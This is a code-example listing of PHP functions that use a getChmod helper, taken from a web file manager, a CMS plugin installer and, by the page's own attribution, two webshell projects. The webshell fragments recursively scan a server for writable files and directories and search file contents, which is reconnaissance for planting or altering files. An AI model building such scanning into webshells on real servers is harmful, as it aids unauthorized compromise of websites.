コード例 #1
0
ファイル: 2009mssql.php プロジェクト: mcanv/webshell
function GetSFileList($dir, $content, $re = 0)
{
    global $filedata, $j, $nowpath, $writabledb;
    !$j && ($j = 1);
    if ($dh = opendir($dir)) {
        while ($file = readdir($dh)) {
            $ext = getextension($file);
            $f = str_replace('//', '/', $dir . '/' . $file);
            if ($file != '.' && $file != '..' && is_dir($f)) {
                GetSFileList($f, $content, $re = 0);
            } elseif ($file != '.' && $file != '..' && is_file($f) && in_array($ext, explode(',', $writabledb))) {
                $find = 0;
                if ($re) {
                    if (preg_match('@' . $content . '@', $file) || preg_match('@' . $content . '@', @file_get_contents($f))) {
                        $find = 1;
                    }
                } else {
                    if (strstr($file, $content) || strstr(@file_get_contents($f), $content)) {
                        $find = 1;
                    }
                }
                if ($find) {
                    $filedata[$j]['filename'] = str_replace($nowpath, '', $f);
                    $filedata[$j]['size'] = sizecount(@filesize($f));
                    $filedata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
                    $filedata[$j]['filechmod'] = getChmod($f);
                    $filedata[$j]['fileperm'] = getPerms($f);
                    $filedata[$j]['fileowner'] = getUser($f);
                    $filedata[$j]['dirlink'] = $dir;
                    $filedata[$j]['server_link'] = $f;
                    $filedata[$j]['client_link'] = ue($f);
                    $j++;
                }
            }
        }
        closedir($dh);
        clearstatcache();
        return $filedata;
    } else {
        return array();
    }
}
コード例 #2
0
function GetWFileList($dir)
{
    global $filedata, $j, $nowpath;
    !$j && ($j = 1);
    if ($dh = opendir($dir)) {
        while ($file = readdir($dh)) {
            $ext = getextension($file);
            $f = str_replace('//', '/', $dir . '/' . $file);
            if ($file != '.' && $file != '..' && is_dir($f)) {
                GetWFileList($f);
            } elseif ($file != '.' && $file != '..' && is_file($f)) {
                if (is_writable($f)) {
                    $filedata[$j]['filename'] = str_replace($nowpath, '', $f);
                    $filedata[$j]['size'] = sizecount(@filesize($f));
                    $filedata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
                    $filedata[$j]['filechmod'] = getChmod($f);
                    $filedata[$j]['fileperm'] = getPerms($f);
                    $filedata[$j]['fileowner'] = getUser($f);
                    $filedata[$j]['dirlink'] = $dir;
                    $filedata[$j]['server_link'] = $f;
                    $filedata[$j]['client_link'] = ue($f);
                    $j++;
                }
            }
        }
        closedir($dh);
        clearstatcache();
        return $filedata;
    } else {
        return array();
    }
}
コード例 #3
0
ファイル: godshell.php プロジェクト: huntergregal/tools
function GetList($dir)
{
    global $dirdata, $j, $nowpath;
    !$j && ($j = 1);
    if ($dh = opendir($dir)) {
        while ($file = readdir($dh)) {
            $f = str_replace('//', '/', $dir . '/' . $file);
            if ($file != '.' && $file != '..' && is_dir($f)) {
                if (is_writable($f)) {
                    $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
                    $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
                    $dirdata[$j]['dirchmod'] = getChmod($f);
                    $dirdata[$j]['dirperm'] = getPerms($f);
                    $dirdata[$j]['dirlink'] = ue($dir);
                    $dirdata[$j]['server_link'] = $f;
                    $dirdata[$j]['client_link'] = ue($f);
                    $j++;
                }
                GetList($f);
            }
        }
        closedir($dh);
        clearstatcache();
        return $dirdata;
    } else {
        return array();
    }
}
コード例 #4
0
ファイル: filesystem.php プロジェクト: Novo1987/mozilo2.0
function mo_file_put_contents($file, $content)
{
    $setchmod = false;
    if (!is_file($file) and false !== ($chmod = getChmod())) {
        $setchmod = true;
    }
    if (false === file_put_contents($file, $content, LOCK_EX)) {
        return false;
    }
    if ($setchmod and false === chmod($file, $chmod)) {
        return false;
    }
    return true;
}
コード例 #5
0
function GetWDirList($path)
{
    global $dirdata, $j, $web_cwd;
    !$j && ($j = 1);
    $dirs = @scandir($path);
    if ($dirs) {
        $dirs = array_diff($dirs, array('..', '.'));
        foreach ($dirs as $file) {
            $f = str_replace('//', '/', $path . '/' . $file);
            if (is_dir($f)) {
                if (is_writable($f)) {
                    $dirdata[$j]['filename'] = '/' . str_replace($web_cwd, '', $f);
                    $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
                    $dirdata[$j]['chmod'] = getChmod($f);
                    $dirdata[$j]['perm'] = PermsColor($f);
                    $dirdata[$j]['owner'] = getUser($f);
                    $dirdata[$j]['link'] = $f;
                    $j++;
                }
                GetWDirList($f);
            }
        }
        return $dirdata;
    } else {
        return array();
    }
}
コード例 #6
0
ファイル: folder_chmod.php プロジェクト: TauThickMi/M
            if (empty($_POST['mode'])) {
                echo 'Chưa nhập đầy đủ thông tin';
            } else {
                if (!@chmod($dir . '/' . $name, intval($_POST['mode'], 8))) {
                    echo 'Chmod thư mục thất bại';
                } else {
                    goURL('index.php?dir=' . $dirEncode . $pages['paramater_1']);
                }
            }
            echo '</div>';
        }
        echo '<div class="list">
                <span class="bull">&bull;</span><span>' . printPath($dir . '/' . $name, true) . '</span><hr/>
                <form action="folder_chmod.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '" method="post">
                    <span class="bull">&bull;</span>Chế độ:<br/>
                    <input type="text" name="mode" value="' . getChmod($dir . '/' . $name) . '" size="18"/><br/>
                    <input type="submit" name="submit" value="Chmod"/>
                </form>
            </div>
            <div class="title">Chức năng</div>
            <ul class="list">
                <li><img src="icon/zip.png"/> <a href="folder_zip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Nén zip</a></li>
                <li><img src="icon/rename.png"/> <a href="folder_edit.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Đổi tên</a></li>
                <li><img src="icon/copy.png"/> <a href="folder_copy.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Sao chép</a></li>
                <li><img src="icon/move.png"/> <a href="folder_move.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Di chuyển</a></li>
                <li><img src="icon/delete.png"/> <a href="folder_delete.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Xóa</a></li>
                <li><img src="icon/list.png"/> <a href="index.php?dir=' . $dirEncode . $pages['paramater_1'] . '">Danh sách</a></li>
            </ul>';
    }
    include_once 'footer.php';
} else {
コード例 #7
0
ファイル: plugins.php プロジェクト: Novo1987/mozilo2.0
function plugin_install($zip = false)
{
    if (!function_exists('gzopen')) {
        return;
    }
    global $debug;
    @set_time_limit(600);
    global $message, $specialchars;
    $dir = PLUGIN_DIR_REL;
    if ($zip === false) {
        $zip_file = $dir . $specialchars->replaceSpecialChars($_FILES["plugin-install-file"]["name"], false);
    } else {
        if (getChmod() !== false) {
            setChmod($dir . $zip);
        }
        $zip_file = $dir . $zip;
    }
    $debug .= $zip_file . "<br />";
    #    if(true === (move_uploaded_file($_FILES["plugin-install-file"]["tmp_name"], $zip_file))) {
    if ($zip !== false and strlen($zip_file) > strlen($dir) or $zip === false and true === move_uploaded_file($_FILES["plugin-install-file"]["tmp_name"], $zip_file)) {
        require_once BASE_DIR_ADMIN . "pclzip.lib.php";
        $archive = new PclZip($zip_file);
        if (0 != ($file_list = $archive->listContent())) {
            uasort($file_list, "helpUasort");
            $find = installFindPlugins($file_list, $archive);
            if (count($find) > 0) {
                foreach ($find as $liste) {
                    if (strlen($liste['index']) > 0) {
                        $debug .= '<pre>';
                        $debug .= var_export($liste, true);
                        $debug .= '</pre>';
                        if (getChmod() !== false) {
                            $tmp1 = $archive->extractByIndex($liste['index'], PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_ADD_PATH, $liste['name'], PCLZIP_OPT_REMOVE_PATH, $liste['remove_dir'], PCLZIP_OPT_SET_CHMOD, getChmod(), PCLZIP_CB_PRE_EXTRACT, "PclZip_PreExtractCallBack", PCLZIP_OPT_REPLACE_NEWER);
                            setChmod($dir . $liste['name']);
                        } else {
                            $tmp1 = $archive->extractByIndex($liste['index'], PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_ADD_PATH, $liste['name'], PCLZIP_OPT_REMOVE_PATH, $liste['remove_dir'], PCLZIP_CB_PRE_EXTRACT, "PclZip_PreExtractCallBack", PCLZIP_OPT_REPLACE_NEWER);
                        }
                    } else {
                        # die file strucktur im zip stimt nicht
                        $message .= returnMessage(false, getLanguageValue("error_zip_structure"));
                    }
                }
            } else {
                # die file strucktur im zip stimt nicht
                $message .= returnMessage(false, getLanguageValue("error_zip_structure"));
            }
        } else {
            # scheint kein gühltiges zip zu sein
            $message .= returnMessage(false, getLanguageValue("error_zip_nozip") . "<br />" . $zip_file);
        }
        unlink($zip_file);
    } else {
        # das zip konnte nicht hochgeladen werden
        $message .= returnMessage(false, getLanguageValue("error_file_upload") . "<br />" . $zip_file);
    }
}
コード例 #8
0
ファイル: file.php プロジェクト: TauThickMi/M
 } else {
     $dir = processDirectory($dir);
     $path = $dir . '/' . $name;
     $format = getFormat($name);
     $isImage = false;
     $pixel = null;
     echo '<ul class="info">';
     echo '<li class="not_ellipsis"><span class="bull">&bull;</span><strong>Đường dẫn</strong>: <span>' . printPath($dir, true) . '</span></li>';
     if ($format != null && in_array($format, array('png', 'ico', 'jpg', 'jpeg', 'gif', 'bmp'))) {
         $pixel = getimagesize($path);
         $isImage = true;
         echo '<li><center><img src="read_image.php?path=' . rawurlencode($path) . '" width="' . ($pixel[0] > 200 ? 200 : $pixel[0]) . 'px"/></center><br/></li>';
     }
     echo '<li><span class="bull">&bull;</span><strong>Tên</strong>: <span>' . $name . '</span></li>
             <li><span class="bull">&bull;</span><strong>Kích thước</strong>: <span>' . size(filesize($path)) . '</span></li>
             <li><span class="bull">&bull;</span><strong>Chmod</strong>: <span>' . getChmod($path) . '</span></li>';
     if ($isImage) {
         echo '<li><span class="bull">&bull;</span><strong>Độ phân giải</strong>: <span>' . $pixel[0] . 'x' . $pixel[1] . '</span></li>';
     }
     echo '<li><span class="bull">&bull;</span><strong>Định dạng</strong>: <span>' . ($format == null ? 'Không rõ' : $format) . '</span></li>
             <li><span class="bull">&bull;</span><strong>Ngày sửa</strong>: <span>' . @date('d.m.Y - H:i', filemtime($path)) . '</span></li>
         </ul>
         <div class="title">Chức năng</div>
         <ul class="list">';
     if (isFormatText($name)) {
         echo '<li><img src="icon/edit.png"/> <a href="edit_text.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Sửa văn bản</a></li>';
         echo '<li><img src="icon/edit_text_line.png"/> <a href="edit_text_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Sửa theo dòng</a></li>';
     } else {
         if (in_array($format, $formats['zip'])) {
             echo '<li><img src="icon/unzip.png"/> <a href="file_viewzip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Xem</a></li>';
             echo '<li><img src="icon/unzip.png"/> <a href="file_unzip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Giải nén</a></li>';
コード例 #9
0
ファイル: file_chmod.php プロジェクト: TauThickMi/M
     if (empty($_POST['mode'])) {
         echo 'Chưa nhập đầy đủ thông tin';
     } else {
         if (!@chmod($dir . '/' . $name, intval($_POST['mode'], 8))) {
             echo 'Chmod tập tin thất bại';
         } else {
             goURL('index.php?dir=' . $dirEncode . $pages['paramater_1']);
         }
     }
     echo '</div>';
 }
 echo '<div class="list">
         <span class="bull">&bull;</span><span>' . printPath($dir . '/' . $name) . '</span><hr/>
         <form action="file_chmod.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '" method="post">
             <span class="bull">&bull;</span>Chế độ:<br/>
             <input type="text" name="mode" value="' . (isset($_POST['mode']) ? $_POST['mode'] : getChmod($dir . '/' . $name)) . '" size="18"/><br/>
             <input type="submit" name="submit" value="Chmod"/>
         </form>
     </div>
     <div class="title">Chức năng</div>
     <ul class="list">
         <li><img src="icon/info.png"/> <a href="file.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Thông tin</a></li>';
 if (isFormatText($name)) {
     echo '<li><img src="icon/edit.png"/> <a href="edit_text.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Sửa văn bản</a></li>';
     echo '<li><img src="icon/edit_text_line.png"/> <a href="edit_text_line.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Sửa theo dòng</a></li>';
 } else {
     if (in_array($format, $formats['zip'])) {
         echo '<li><img src="icon/unzip.png"/> <a href="file_viewzip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Xem</a></li>';
         echo '<li><img src="icon/unzip.png"/> <a href="file_unzip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Giải nén</a></li>';
     } else {
         if (isFormatUnknown($name)) {
コード例 #10
0
ファイル: index.php プロジェクト: TauThickMi/M
     echo '<li class="normal"><img src="icon/empty.png"/> <span class="empty">Không có thư mục hoặc tập tin</span></li>';
 } else {
     $start = 0;
     $end = $count;
     if ($configs['page_list'] > 0 && $count > $configs['page_list']) {
         $pages['total'] = ceil($count / $configs['page_list']);
         if ($pages['total'] <= 0 || $pages['current'] > $pages['total']) {
             goURL('index.php?dir=' . $dirEncode . ($pages['total'] <= 0 ? null : '&page_list=' . $pages['total']));
         }
         $start = $pages['current'] * $configs['page_list'] - $configs['page_list'];
         $end = $start + $configs['page_list'] >= $count ? $count : $start + $configs['page_list'];
     }
     for ($i = $start; $i < $end; ++$i) {
         $name = $lists[$i]['name'];
         $path = $dir . '/' . $name;
         $perms = getChmod($path);
         if ($lists[$i]['is_directory']) {
             echo '<li class="folder">
                     <div>
                         <input type="checkbox" name="entry[]" value="' . $name . '"/>
                         <a href="folder_edit.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">
                             <img src="icon/folder.png"/>
                         </a>
                         <a href="index.php?dir=' . rawurlencode($path) . '">' . $name . '</a>
                         <div class="perms">
                             <a href="folder_chmod.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '" class="chmod">' . $perms . '</a>
                         </div>
                     </div>
                 </li>';
         } else {
             $edit = array(null, '</a>');